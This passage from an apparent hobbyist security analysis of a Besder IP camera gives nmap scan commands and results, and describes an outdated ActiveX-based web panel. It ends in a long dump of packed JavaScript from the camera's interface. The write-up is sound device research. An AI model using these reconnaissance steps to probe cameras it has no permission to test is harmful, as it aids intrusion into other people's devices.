***User Manual*** in english language. Within the user manual there were instructions how to set up the camera for the first time. Turns out, I needed to download ***ICSee*** app to my smartphone to do that. First time configuration requires the user to connect to a Wi-Fi network. By default during the initial install the IP address of the camera in the Local Area Network is set dynamically, although it is possible to set a static IP address of `192.168.0.10`. # Technical Information In this section I will present the technical data and networking information about ***Besder 6024PB-XMA501*** IP camera. For gathering this information I have used the `nmap` tool. ## Open ports In this subsection I am presenting the list of open ports that I have found in a tested Besder IP camera. During the analysis search for both ***TCP*** and ***UDP*** open ports was conducted. ### TCP port scan As I have mentioned before, `nmap` tool was used for this information gathering procedure. The command to find TCP ports and determine their purpose was `nmap -v -sS -sV -sC -p- X.X.X.X`, where `X.X.X.X` is IP address of the Besder camera. The scan was conducted with ***root*** privilleges. Purpose of used flags is explained below: ``` -v Verbosity. Gives more information about what the scan is doing. -sS Stealth scan. Fast, accurate and non-intrusive test of a selected target. -sV Version scan. Used to detect versions of services running on specific open ports of IP Camera. -sC Scripts scan. Uses a default set of most common `nmap` scripts. -p- Check all 65535 TCP ports for if they are open. ``` Results of TCP port scan with `nmap` are presented below: ``` PORT STATE SERVICE VERSION 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.0 200 OK | Content-type: text/html | Expires: 0 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | <html xmlns="http://www.w3.org/1999/xhtml"> | <head> | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge"/> | <link rel="stylesheet" type="text/css" media="screen" href="m.css" /> | <title>NETSurveillance WEB</title> | <!-- m.js --> | <script type="text/javascript" language="JavaScript"> | bCrossBrow=false; | bnpCheck = false; | showemailflag=0; | ShowTipFlag=2; | //wzy 20190904 | g_initWidth = document.documentElement.clientWidth; | SupportFind=false; | if(navigator.platform != "Win32")// | userAgent = navigator.userAgent, |_ rMsie = /(msies|trident. |_http-favicon: Unknown favicon MD5: EC9D1C872C50DD7DA7D826D9C85FC158 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: NETSurveillance WEB 554/tcp open rtsp H264DVR rtspd 1.0 |_rtsp-methods: OPTIONS, DESCRIBE, SETUP, TEARDOWN, GET_PARAMETER, SET_PARAMETER, PLAY, PAUSE 8899/tcp open ospf-lite? 12901/tcp open unknown 34567/tcp open dhanalakshmi? ``` The scan found ***5*** open ***TCP*** ports in Besder 6024PB-XMA501 camera: 1. Port `80` is a ***HTTP*** port and is used for communicating with `NETSurveillance WEB` web interface, which is intended for managing the IP Camera from an instance of preferred internet browser. 2. Port `554` is a ***RTSP*** port with version `H264DVR rtspd 1.0` and could be used for retrieving the video stream from the camera with a specific URL which I have not figured out yet. Although I reckon login credentials would be neccesary there. 3. Port `8899` has a service running that is detected as an `ospf-lite` service and as far as I could find information about it, it could be used as an ONVIF-compliant port ["for effective interoperability of IP-based physical security products"](https://www.onvif.org/). 4. Port `12901` was also open during analysis, although `nmap` was not able to determine what service was running on this specific port. 5. Port `34567` is controlled by a service called `dhanalakshmi`. It is a data port which is used for transmitting and recieving data when the user connects to the camera either from a computer or a smartphone trough a proxy cloud server. I will elaborate on this specific port a bit more in later sections. For now I will note that most of the communication done via this port is ***encrypted*** or ***obfuscated*** using SSL. ***Note:*** a quick Google search of the MD5 hash of the http-favicon `EC9D1C872C50DD7DA7D826D9C85FC158` lead to a [numerous reports of possible malware and strange behaviour of a few different IP camera models](https://www.google.com/search?q=EC9D1C872C50DD7DA7D826D9C85FC158&source=lmns&bih=935&biw=1908&client=firefox-b-d&hl=en-US&sa=X&ved=2ahUKEwir_s28-ZnzAhWN_CoKHTXyBAMQ_AUoAHoECAEQAA) (albeit older than the IP camera model tested in this analysis). ### UDP port scan For the task of scanning and searching for open UDP ports I have used `-sU` flag within the `nmap` tool. Although this time I have set the program to scan only 1000 most popular ports as UDP port scanning is a lot slower than TCP scan (as for why, one can read part of Nmap documentation about UDP scanning [here](https://nmap.org/book/scan-methods-udp-scan.html)). The command used there was `nmap -v -sU -sV X.X.X.X`, where `X.X.X.X` is IP address of the camera. The scan was run with ***root*** privilleges. Results of the scan are presented below. ``` PORT STATE SERVICE VERSION 3702/udp open|filtered ws-discovery ``` The scan found ***1*** open ***UDP*** port on which `ws-discovery` service was running. The service `ws-discovery` stands for ***web service discovery*** and is used for locating services within the devices connected via Local Area Network. ## OS Detection Using `nmap` tool with `-O` flag I was able to determine the Operating System and it's version running on the analyzed Besder 6024PB-XMA501 IP Camera. The full command for this scan was `nmap -v -sS -sV -O X.X.X.X`, where `X.X.X.X` is an IP address of the Besder IP camera. The results of this scan are presented below. ``` Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 ``` As it can be seen from the result, Besder ip camera is regarded as a `general purpose` device and is running Linux OS with a likely version of `Linux 3.2 - 3.16`. # Control Panel in a Web Browser This is the time when some really interesting things start to show up. I have tried to access the control panel of the camera in at the time the newest version of `Mozilla Firefox` browser within my Arch Linux install... Just to be greeted with this nice pop-up window saying that my browser is ***too new*** and that some features would not work properly and I was requested to download Firefox browser version `51` or earliear. For a reference, Firefox 51 was released in ***January of 2017***. ![Pop-up saying that my browser is too new for rendering the control panel](/img/Browser_too_new.png) Indeed, the webpage was not working as intented, displaying only a single line of text and a button to download `NewActive.exe` installerfile. It does not seem like a good idea for me to download any .exe files that a webpage, which requires an ancient version of web browser installed, asks me to download... Anyways, I have a `Windows 10` virtual machine installed within a `VirtualBox` environment, so I have switched to that for further testing of a Besder camera's web interface. Tried a few other of the most popular browsers like Chrome, Opera and Edge - all gave me the same pop-up asking to download old versions of those browsers. Turns out that the `NETSurveillance WEB`, used for controlling the camera, requires `ActiveX` plugin for proper functioning and the only browser that displayed the `NETSurveillanceWEB` inteface correctly was the "good old" `Internet Explorer` browser with `ActiveX` plugin installed and enabled. That "might" cause some problems with security of this particular camera and computing devices connected to it, but I will not elaborate on this further ***for now***. So, I have tried to log into the `NETSurveillance WEB` control panel. After pressing the login button it takes a couple of seconds to start any login activity. To figure out why, I decided to inspect the webpage's code. And there I had found a `Javascript` login function which had a very _"interesting"_ feature added - a 2 second timer, which activates ***after*** pressing the login button. To be honest, I am not sure about the purpose of this delay. One idea that I have is that it is used to make this particular device look slower than it actually is, especially in comparison to higher end models that the company is offering. But that is just speculation from my side. ## A further investigation of a control panel of an IP camera * ***Added on 26/06/2021*** Using ***Wireshark*** tool I have examined the data stream between `Besder 6024PB-XMA501` IP camera and a `NETSurveillanceWEB` web interface within `Windows 10` virtual machine. What I have found is that when the connection request is sent from the browser within the virtual machine to the surveillance camera, the surveillance camera sends multiple `.html`, `.css` and `.js` files of the `NETSurveillance WEB` control panel are sent to the browser. One file that looked the most interesting to me was ***m.jsp*** file, containing some `Javascript` code. In this particular file was the following `packed function`: ``` val(function(p, a, c, k, e, d) { e = function(c) { return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) { d[e(c)] = k[c] || e(c) } k = [function(e) { return d[e] } ]; e = function() { return '\\w+' }; c = 1 }; while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]) } } return p } ('m 9l={9e:\'1.11\'};h $4Z(K){k(K!=7H)};h $C(K){o(!$4Z(K))k X;o(K.3z)k\'J\';m C=56 K;o(C==\'2e\'&&K.9d){1W(K.6n){Y 1:k\'J\';Y 3:k(/\\S/).2B(K.80)?\'9g\':\'9h\'}}o(C==\'2e\'||C==\'h\'){1W(K.7M){Y 1Z:k\'1m\';Y 6f:k\'64\';Y 1i:k\'5A\'}o(56 K.P==\'4n\'){o(K.2G)k\'9p\';o(K.7O)k\'18\'}}k C};h $2c(){m 49={};L(m i=0;i<18.P;i++){L(m F 1a 18[i]){m ap=18[i][F];m 5a=49[F];o(5a&&$C(ap)==\'2e\'&&$C(5a)==\'2e\')49[F]=$2c(5a,ap);19 49[F]=ap}}k 49};m $O=h(){m 1c=18;o(!1c[1])1c=[c,1c[0]];L(m F 1a 1c[1])1c[0][F]=1c[1][F];k 1c[0]};m $3M=h(){L(m i=0,l=18.P;i<l;i++){18[i].O=h(1D){L(m 1G 1a 1D){o(!c.1w[1G])c.1w[1G]=1D[1G];o(!c[1G])c[1G]=$3M.5f(1G)}}}};$3M.5f=h(1G){k h(U){k c.1w[1G].3f(U,1Z.1w.7v.26(18,1))}};$3M(5J,1Z,4Q,7A);h $2d(K){k!!(K||K===0)};h $4D(K,7J){k $4Z(K)?K:7J};h $5U(3m,2r){k 1g.9x(1g.5U()*(2r-3m+1)+3m)};h $2X(){k W 82().7X()};h $6A(23){9u(23);9D(23);k 1j};m 30=h(K){K=K||{};K.O=$O;k K};m 8V=W 30(V);m 8O=W 30(17);17.7I=17.2m(\'7I\')[0];V.3g=!!(17.54);o(V.97)V.2D=V[V.92?\'ai\':\'7L\']=1e;19 o(17.7Y&&!17.a8&&!ab.aj)V.4a=V[V.3g?\'ak\':\'8C\']=1e;19 o(17.aw!=1j)V.5G=1e;V.9M=V.4a;9O.O=$O;o(56 4g==\'7H\'){m 4g=h(){};o(V.4a)17.7D("9F");4g.1w=(V.4a)?V["[[a1.1w]]"]:{}}4g.1w.3z=h(){};o(V.7L)6o{17.9X("9W",X,1e)}6d(e){};m 1i=h(2F){m 4c=h(){k(18[0]!==1j&&c.1C&&$C(c.1C)==\'h\')?c.1C.3f(c,18):c};$O(4c,c);4c.1w=2F;4c.7M=1i;k 4c};1i.1L=h(){};1i.1w={O:h(2F){m 59=W c(1j);L(m F 1a 2F){m 7Q=59[F];59[F]=1i.7P(7Q,2F[F])}k W 1i(59)},3S:h(){L(m i=0,l=18.P;i<l;i++)$O(c.1w,18[i])}};1i.7P=h(33,1R){o(33&&33!=1R){m C=$C(1R);o(C!=$C(33))k 1R;1W(C){Y\'h\':m 5H=h(){c.1A=18.7O.1A;k 1R.3f(c,18)};5H.1A=33;k 5H;Y\'2e\':k $2c(33,1R)}}k 1R};m 8g=W 1i({a2:h(N){c.3s=c.3s||[];c.3s.1f(N);k c},8s:h(){o(c.3s&&c.3s.P)c.3s.7c().22(10,c)},a0:h(){c.3s=[]}});m 2j=W 1i({2t:h(C,N){o(N!=1i.1L){c.$12=c.$12||{};c.$12[C]=c.$12[C]||[];c.$12[C].5T(N)}k c},1B:h(C,1c,22){o(c.$12&&c.$12[C]){c.$12[C].1E(h(N){N.2y({\'U\':c,\'22\':22,\'18\':1c})()},c)}k c},5k:h(C,N){o(c.$12&&c.$12[C])c.$12[C].2x(N);k c}});m 4B=W 1i({3Q:h(){c.B=$2c.3f(1j,[c.B].O(18));o(c.2t){L(m 2S 1a c.B){o($C(c.B[2S]==\'h\')&&(/^66[A-Z]/).2B(2S))c.2t(2S,c.B[2S])}}k c}});1Z.O({57:h(N,U){L(m i=0,j=c.P;i<j;i++)N.26(U,c[i],i,c)},2q:h(N,U){m 3T=[];L(m i=0,j=c.P;i<j;i++){o(N.26(U,c[i],i,c))3T.1f(c[i])}k 3T},2h:h(N,U){m 3T=[];L(m i=0,j=c.P;i<j;i++)3T[i]=N.26(U,c[i],i,c);k 3T},4M:h(N,U){L(m i=0,j=c.P;i<j;i++){o(!N.26(U,c[i],i,c))k X}k 1e},9S:h(N,U){L(m i=0,j=c.P;i<j;i++){o(N.26(U,c[i],i,c))k 1e}k X},3F:h(2G,R){m 3U=c.P;L(m i=(R<0)?1g.2r(0,3U+R):R||0;i<3U;i++){o(c[i]===2G)k i}k-1},7x:h(1l,P){1l=1l||0;o(1l<0)1l=c.P+1l;P=P||(c.P-1l);m 5O=[];L(m i=0;i<P;i++)5O[i]=c[1l++];k 5O},2x:h(2G){m i=0;m 3U=c.P;5N(i<3U){o(c[i]===2G){c.5t(i,1);3U--}19{i++}}k c},1d:h(2G,R){k c.3F(2G,R)!=-1},9I:h(1z){m K={},P=1g.3m(c.P,1z.P);L(m i=0;i<P;i++)K[1z[i]]=c[i];k K},O:h(1m){L(m i=0,j=1m.P;i<j;i++)c.1f(1m[i]);k c},2c:h(1m){L(m i=0,l=1m.P;i<l;i++)c.5T(1m[i]);k c},5T:h(2G){o(!c.1d(2G))c.1f(2G);k c},9G:h(){k c[$5U(0,c.P-1)]||1j},6D:h(){k c[c.P-1]||1j}});1Z.1w.1E=1Z.1w.57;1Z.1E=1Z.57;h $A(1m){k 1Z.7x(1m)};h $1E(3i,N,U){o(3i&&56 3i.P==\'4n\'&&$C(3i)!=\'2e\'){1Z.57(3i,N,U)}19{L(m 1p 1a 3i)N.26(U||3i,3i[1p],1p)}};1Z.1w.2B=1Z.1w.1d;4Q.O({2B:h(5d,2l){k(($C(5d)==\'1T\')?W 6f(5d,2l):5d).2B(c)},2u:h(){k 4o(c,10)},7E:h(){k 4k(c)},6p:h(){k c.2Q(/-\\D/g,h(2o){k 2o.5E(1).7w()})},7V:h(){k c.2Q(/\\w[A-Z]/g,h(2o){k(2o.5E(0)+\'-\'+2o.5E(1).4i())})},6v:h(){k c.2Q(/\\b[a-z]/g,h(2o){k 2o.7w()})},5Z:h(){k c.2Q(/^\\s+|\\s+$/g,\'\')},6e:h(){k c.2Q(/\\s{2,}/g,\' \').5Z()},4T:h(1m){m 2f=c.2o(/\\d{1,3}/g);k(2f)?2f.4T(1m):X},4s:h(1m){m 3p=c.2o(/^#?(\\w{1,2})(\\w{1,2})(\\w{1,2})$/);k(3p)?3p.7v(1).4s(1m):X},1d:h(1T,s){k(s)?(s+c+s).3F(s+1T+s)>-1:c.3F(1T)>-1},83:h(){k c.2Q(/([.*+?^${}()|[\\]\\/\\\\])/g,\'\\\\$1\')}});1Z.O({4T:h(1m){o(c.P<3)k X;o(c.P==4&&c[3]==0&&!1m)k\'a5\';m 3p=[];L(m i=0;i<3;i++){m 3V=(c[i]-0).3O(16);3p.1f((3V.P==1)?\'0\'+3V:3V)}k 1m?3p:\'#\'+3p.1S(\'\')},4s:h(1m){o(c.P!=3)k X;m 2f=[];L(m i=0;i<3;i++){2f.1f(4o((c[i].P==1)?c[i]+c[i]:c[i],16))}k 1m?2f:\'2f(\'+2f.1S(\',\')+\')\'}});5J.O({2y:h(B){m N=c;B=$2c({\'U\':N,\'G\':X,\'18\':1j,\'22\':X,\'3o\':X,\'5h\':X},B);o($2d(B.18)&&$C(B.18)!=\'1m\')B.18=[B.18];k h(G){m 1c;o(B.G){G=G||V.G;1c=[(B.G===1e)?G:W B.G(G)];o(B.18)1c.O(B.18)}19 1c=B.18||18;m 2U=h(){k N.3f($4D(B.U,N),1c)};o(B.22)k a6(2U,B.22);o(B.3o)k aq(2U,B.3o);o(B.5h)6o{k 2U()}6d(ao){k X};k 2U()}},an:h(1c,U){k c.2y({\'18\':1c,\'U\':U})},5h:h(1c,U){k c.2y({\'18\':1c,\'U\':U,\'5h\':1e})()},U:h(U,1c){k c.2y({\'U\':U,\'18\':1c})},al:h(U,1c){k c.2y({\'U\':U,\'G\':1e,\'18\':1c})},22:h(22,U,1c){k c.2y({\'22\':22,\'U\':U,\'18\':1c})()},3o:h(7z,U,1c){k c.2y({\'3o\':7z,\'U\':U,\'18\':1c})()}});7A.O({2u:h(){k 4o(c)},7E:h(){k 4k(c)},1r:h(3m,2r){k 1g.3m(2r,1g.2r(3m,c))},35:h(42){42=1g.2V(10,42||0);k 1g.35(c*42)/42},ax:h(N){L(m i=0;i<c;i++)N(i)}});m M=W 1i({1C:h(q,1D){o($C(q)==\'1T\'){o(V.2D&&1D&&(1D.1p||1D.C)){m 1p=(1D.1p)?\' 1p="\'+1D.1p+\'"\':\'\';m C=(1D.C)?\' C="\'+1D.C+\'"\':\'\';4R 1D.1p;4R 1D.C;q=\'<\'+q+1p+C+\'>\'}q=17.7D(q)}q=$(q);k(!1D||!q)?q:q.1M(1D)}});m 1P=W 1i({1C:h(T){k(T)?$O(T,c):c}});1P.O=h(1D){L(m 1G 1a 1D){c.1w[1G]=1D[1G];c[1G]=$3M.5f(1G)}};h $(q){o(!q)k 1j;o(q.3z)k 1Y.3J(q);o([V,17].1d(q))k q;m C=$C(q);o(C==\'1T\'){q=17.4z(q);C=(q)?\'J\':X}o(C!=\'J\')k 1j;o(q.3z)k 1Y.3J(q);o([\'2e\',\'av\'].1d(q.4F.4i()))k q;$O(q,M.1w);q.3z=h(){};k 1Y.3J(q)};17.4H=17.2m;h $$(){m T=[];L(m i=0,j=18.P;i<j;i++){m 1y=18[i];1W($C(1y)){Y\'J\':T.1f(1y);Y\'at\':1x;Y X:1x;Y\'1T\':1y=17.4H(1y,1e);6i:T.O(1y)}}k $$.4m(T)};$$.4m=h(1m){m T=[];L(m i=0,l=1m.P;i<l;i++){o(1m[i].$5g)4W;m J=$(1m[i]);o(J&&!J.$5g){J.$5g=1e;T.1f(J)}}L(m n=0,d=T.P;n<d;n++)T[n].$5g=1j;k W 1P(T)};1P.4J=h(F){k h(){m 1c=18;m 1k=[];m T=1e;L(m i=0,j=c.P,2U;i<j;i++){2U=c[i][F].3f(c[i],1c);o($C(2U)!=\'J\')T=X;1k.1f(2U)};k(T)?$$.4m(1k):1k}};M.O=h(2F){L(m F 1a 2F){4g.1w[F]=2F[F];M.1w[F]=2F[F];M[F]=$3M.5f(F);m 7S=(1Z.1w[F])?F+\'1P\':F;1P.1w[7S]=1P.4J(F)}};M.O({1M:h(1D){L(m 1G 1a 1D){m 3y=1D[1G];1W(1G){Y\'8t\':c.6E(3y);1x;Y\'12\':o(c.5F)c.5F(3y);1x;Y\'2F\':c.8e(3y);1x;6i:c.52(1G,3y)}}k c},3n:h(q,88){q=$(q);1W(88){Y\'87\':q.2E.6h(c,q);1x;Y\'86\':m 43=q.7T();o(!43)q.2E.6g(c);19 q.2E.6h(c,43);1x;Y\'1o\':m 5W=q.61;o(5W){q.6h(c,5W);1x}6i:q.6g(c)}k c},ac:h(q){k c.3n(q,\'87\')},8E:h(q){k c.3n(q,\'86\')},ah:h(q){k c.3n(q,\'4e\')},ag:h(q){k c.3n(q,\'1o\')},8G:h(){m T=[];$1E(18,h(85){T=T.6l(85)});$$(T).3n(c);k c},2x:h(){k c.2E.7d(c)},ae:h(89){m q=$(c.af(89!==X));o(!q.$12)k q;q.$12={};L(m C 1a c.$12)q.$12[C]={\'1z\':$A(c.$12[C].1z),\'1X\':$A(c.$12[C].1X)};k q.5m()},9v:h(q){q=$(q);c.2E.93(q,c);k q},73:h(2n){c.6g(17.8Z(2n));k c},6j:h(1v){k c.1v.1d(1v,\' \')},8d:h(1v){o(!c.6j(1v))c.1v=(c.1v+\' \'+1v).6e();k c},8a:h(1v){c.1v=c.1v.2Q(W 6f(\'(^|\\\\s)\'+1v+\'(?:\\\\s|$)\'),\'$1\').6e();k c},94:h(1v){k c.6j(1v)?c.8a(1v):c.8d(1v)},2g:h(F,I){1W(F){Y\'21\':k c.8c(4k(I));Y\'9a\':F=(V.2D)?\'99\':\'98\'}F=F.6p();1W($C(I)){Y\'4n\':o(![\'96\',\'84\'].1d(F))I+=\'3B\';1x;Y\'1m\':I=\'2f(\'+I.1S(\',\')+\')\'}c.1u[F]=I;k c},6E:h(3b){1W($C(3b)){Y\'2e\':M.5n(c,\'2g\',3b);1x;Y\'1T\':c.1u.5X=3b}k c},8c:h(21){o(21==0){o(c.1u.4P!="4E")c.1u.4P="4E"}19{o(c.1u.4P!="8b")c.1u.4P="8b"}o(!c.4O||!c.4O.8Q)c.1u.84=1;o(V.2D)c.1u.2q=(21==1)?\'\':"8N(21="+21*7C+")";c.1u.21=c.$3h.21=21;k c},1K:h(F){F=F.6p();m 1t=c.1u[F];o(!$2d(1t)){o(F==\'21\')k c.$3h.21;1t=[];L(m 1u 1a M.31){o(F==1u){M.31[1u].1E(h(s){m 1u=c.1K(s);1t.1f(4o(1u)?1u:\'79\')},c);o(F==\'3c\'){m 4M=1t.4M(h(3V){k(3V==1t[0])});k(4M)?1t[0]:X}k 1t.1S(\' \')}}o(F.1d(\'3c\')){o(M.31.3c.1d(F)){k[\'76\',\'6F\',\'6H\'].2h(h(p){k c.1K(F+p)},c).1S(\' \')}19 o(M.77.1d(F)){k[\'6T\',\'6S\',\'6Z\',\'6Y\'].2h(h(p){k c.1K(\'3c\'+p+F.2Q(\'3c\',\'\'))},c).1S(\' \')}}o(17.7W)1t=17.7W.8X(c,1j).8R(F.7V());19 o(c.4O)1t=c.4O[F]}o(V.2D)1t=M.70(F,1t,c);o(1t&&F.2B(/4G/i)&&1t.1d(\'2f\')){k 1t.4K(\'2f\').5t(1,4).2h(h(4G){k 4G.4T()}).1S(\' \')}k 1t},8u:h(){k M.6a(c,\'1K\',18)},4q:h(4U,1l){4U+=\'8T\';m q=(1l)?c[1l]:c[4U];5N(q&&$C(q)!=\'J\')q=q[4U];k $(q)},9b:h(){k c.4q(\'33\')},7T:h(){k c.4q(\'43\')},9c:h(){k c.4q(\'43\',\'61\')},6D:h(){k c.4q(\'33\',\'9r\')},9s:h(){k $(c.2E)},9w:h(){k $$(c.7Y)},5V:h(q){k!!$A(c.2m(\'*\')).1d(q)},4v:h(F){m 2Y=M.4V[F];o(2Y)k c[2Y];m 6c=M.7o[F]||0;o(!V.2D||6c)k c.9C(F,6c);m 63=c.9A[F];k(63)?63.80:1j},9q:h(F){m 2Y=M.4V[F];o(2Y)c[2Y]=\'\';19 c.az(F);k c},9i:h(){k M.6a(c,\'4v\',18)},52:h(F,I){m 2Y=M.4V[F];o(2Y)c[2Y]=I;19 c.9o(F,I);k c},8e:h(3b){k M.5n(c,\'52\',3b)},78:h(){c.74=$A(18).1S(\'\');k c},9m:h(2n){m 2J=c.3W();o([\'1u\',\'3R\'].1d(2J)){o(V.2D){o(2J==\'1u\')c.72.5X=2n;19 o(2J==\'3R\')c.52(\'2n\',2n);k c}19{c.7d(c.61);k c.73(2n)}}c[$4Z(c.5Y)?\'5Y\':\'75\']=2n;k c},bP:h(){m 2J=c.3W();o([\'1u\',\'3R\'].1d(2J)){o(V.2D){o(2J==\'1u\')k c.72.5X;19 o(2J==\'3R\')k c.4v(\'2n\')}19{k c.74}}k($4D(c.5Y,c.75))},3W:h(){k c.4F.4i()},1L:h(){1Y.5u(c.2m(\'*\'));k c.78(\'\')}});M.70=h(F,1t,J){o($2d(4o(1t)))k 1t;o([\'3e\',\'2L\'].1d(F)){m 1X=(F==\'2L\')?[\'1q\',\'4d\']:[\'1o\',\'4e\'];m 4A=0;1X.1E(h(I){4A+=J.1K(\'3c-\'+I+\'-2L\').2u()+J.1K(\'65-\'+I).2u()});k J[\'1F\'+F.6v()]-4A+\'3B\'}19 o(F.2B(/3c(.+)76|2p|65/)){k\'79\'}k 1t};M.31={\'3c\':[],\'65\':[],\'2p\':[]};[\'6T\',\'6S\',\'6Z\',\'6Y\'].1E(h(6X){L(m 1u 1a M.31)M.31[1u].1f(1u+6X)});M.77=[\'bz\',\'bx\',\'bw\'];M.6a=h(q,2H,1z){m 1t={};$1E(1z,h(1h){1t[1h]=q[2H](1h)});k 1t};M.5n=h(q,2H,69){L(m 1h 1a 69)q[2H](1h,69[1h]);k q};M.4V=W 30({\'5A\':\'1v\',\'L\':\'bG\',\'bH\':\'bF\',\'bY\':\'bC\',\'bD\':\'bX\',\'c0\':\'cf\',\'cg\':\'ch\',\'cb\':\'c3\',\'c2\':\'c1\',\'I\':\'I\',\'5z\':\'5z\',\'5C\':\'5C\',\'6r\':\'6r\',\'5D\':\'5D\'});M.7o={\'c4\':2,\'4t\':2};M.29={4X:{2A:h(C,N){o(c.6q)c.6q(C,N,X);19 c.c5(\'66\'+C,N);k c},3K:h(C,N){o(c.8f)c.8f(C,N,X);19 c.c8(\'66\'+C,N);k c}}};V.O(M.29.4X);17.O(M.29.4X);M.O(M.29.4X);m 1Y={T:[],3J:h(q){o(!q.$3h){1Y.T.1f(q);q.$3h={\'21\':1}}k q},5u:h(T){L(m i=0,j=T.P,q;i<j;i++){o(!(q=T[i])||!q.$3h)4W;o(q.$12)q.1B(\'5u\').5m();L(m p 1a q.$3h)q.$3h[p]=1j;L(m d 1a M.1w)q[d]=1j;1Y.T[1Y.T.3F(q)]=1j;q.3z=q.$3h=q=1j}1Y.T.2x(1j)},1L:h(){1Y.3J(V);1Y.3J(17);1Y.5u(1Y.T)}};V.2A(\'8K\',h(){V.2A(\'5M\',1Y.1L);o(V.2D)V.2A(\'5M\',bs)});m 2i=W 1i({1C:h(G){o(G&&G.$7j)k G;c.$7j=1e;G=G||V.G;c.G=G;c.C=G.C;c.3A=G.3A||G.aR;o(c.3A.6n==3)c.3A=c.3A.2E;c.7c=G.bt;c.aP=G.aT;c.aU=G.aV;c.aN=G.aM;o([\'5I\',\'5s\'].1d(c.C)){c.aE=(G.7b)?G.7b/aC:-(G.aA||0)/3}19 o(c.C.1d(\'1h\')){c.5o=G.7h||G.aB;L(m 1p 1a 2i.1z){o(2i.1z[1p]==c.5o){c.1h=1p;1x}}o(c.C==\'7U\'){m 5x=c.5o-aG;o(5x>0&&5x<13)c.1h=\'f\'+5x}c.1h=c.1h||4Q.aL(c.5o).4i()}19 o(c.C.2B(/(6U|2C|aH)/)){c.3x={\'x\':G.6b||G.7g+17.7f.4u,\'y\':G.6m||G.7l+17.7f.4y};c.b0={\'x\':G.6b?G.6b-V.bk:G.7g,\'y\':G.6m?G.6m-V.bh:G.7l};c.bm=(G.7h==3)||(G.bn==2);1W(c.C){Y\'5L\':c.1Q=G.1Q||G.bo;1x;Y\'62\':c.1Q=G.1Q||G.bf}c.7i()}k c},28:h(){k c.5q().5r()},5q:h(){o(c.G.5q)c.G.5q();19 c.G.b6=1e;k c},5r:h(){o(c.G.5r)c.G.5r();19 c.G.b4=X;k c}});2i.5v={1Q:h(){o(c.1Q&&c.1Q.6n==3)c.1Q=c.1Q.2E},7e:h(){6o{2i.5v.1Q.26(c)}6d(e){c.1Q=c.3A}}};2i.1w.7i=(V.5G)?2i.5v.7e:2i.5v.1Q;2i.1z=W 30({\'bb\':13,\'ba\':38,\'b9\':40,\'1q\':37,\'4d\':39,\'b3\':27,\'bp\':32,\'bq\':8,\'bg\':9,\'4R\':46});M.29.2j={2t:h(C,N){c.$12=c.$12||{};c.$12[C]=c.$12[C]||{\'1z\':[],\'1X\':[]};o(c.$12[C].1z.1d(N))k c;c.$12[C].1z.1f(N);m 5w=C;m 1V=M.2j[C];o(1V){o(1V.5K)1V.5K.26(c,N);o(1V.2h)N=1V.2h;o(1V.C)5w=1V.C}o(!c.6q)N=N.2y({\'U\':c,\'G\':1e});c.$12[C].1X.1f(N);k(M.5R.1d(5w))?c.2A(5w,N):c},5k:h(C,N){o(!c.$12||!c.$12[C])k c;m 1N=c.$12[C].1z.3F(N);o(1N==-1)k c;m 1h=c.$12[C].1z.5t(1N,1)[0];m I=c.$12[C].1X.5t(1N,1)[0];m 1V=M.2j[C];o(1V){o(1V.2x)1V.2x.26(c,N);o(1V.C)C=1V.C}k(M.5R.1d(C))?c.3K(C,I):c},5F:h(3b){k M.5n(c,\'2t\',3b)},5m:h(C){o(!c.$12)k c;o(!C){L(m 5p 1a c.$12)c.5m(5p);c.$12=1j}19 o(c.$12[C]){c.$12[C].1z.1E(h(N){c.5k(C,N)},c);c.$12[C]=1j}k c},1B:h(C,1c,22){o(c.$12&&c.$12[C]){c.$12[C].1z.1E(h(N){N.2y({\'U\':c,\'22\':22,\'18\':1c})()},c)}k c},7a:h(R,C){o(!R.$12)k c;o(!C){L(m 5p 1a R.$12)c.7a(R,5p)}19 o(R.$12[C]){R.$12[C].1z.1E(h(N){c.2t(C,N)},c)}k c}};V.O(M.29.2j);17.O(M.29.2j);M.O(M.29.2j);M.2j=W 30({\'6W\':{C:\'5L\',2h:h(G){G=W 2i(G);o(G.1Q!=c&&!c.5V(G.1Q))c.1B(\'6W\',G)}},\'6V\':{C:\'62\',2h:h(G){G=W 2i(G);o(G.1Q!=c&&!c.5V(G.1Q))c.1B(\'6V\',G)}},\'5s\':{C:(V.5G)?\'5I\':\'5s\'}});M.5R=[\'6U\',\'cc\',\'6G\',\'5e\',\'5s\',\'5I\',\'5L\',\'62\',\'3G\',\'7U\',\'bW\',\'c7\',\'53\',\'5M\',\'8K\',\'aO\',\'aY\',\'bc\',\'bd\',\'8n\',\'b8\',\'b7\',\'34\',\'br\',\'bl\',\'bj\',\'8I\'];5J.O({45:h(U,1c){k c.2y({\'U\':U,\'18\':1c,\'G\':2i})}});1P.O({aD:h(2J){k W 1P(c.2q(h(q){k(M.3W(q)==2J)}))},8v:h(1v,25){m T=c.2q(h(q){k(q.1v&&q.1v.1d(1v,\' \'))});k(25)?T:W 1P(T)},8w:h(3u,25){m T=c.2q(h(q){k(q.3u==3u)});k(25)?T:W 1P(T)},8x:h(1p,5B,I,25){m T=c.2q(h(q){m 1R=M.4v(q,1p);o(!1R)k X;o(!5B)k 1e;1W(5B){Y\'=\':k(1R==I);Y\'*=\':k(1R.1d(I));Y\'^=\':k(1R.8j(0,I.P)==I);Y\'$=\':k(1R.8j(1R.P-I.P)==I);Y\'!=\':k(1R!=I);Y\'~=\':k 1R.1d(I,\' \')}k X});k(25)?T:W 1P(T)}});h $E(1y,2q){k($(2q)||17).8k(1y)};h $bZ(1y,2q){k($(2q)||17).4H(1y)};$$.2W={\'64\':/^(\\w*|\\*)(?:#([\\w-]+)|\\.([\\w-]+))?(?:\\[(\\w+)(?:([!*^$]?=)["\']?([^"\'\\]]*)["\']?)?])?$/,\'3g\':{68:h(1k,2w,15,i){m 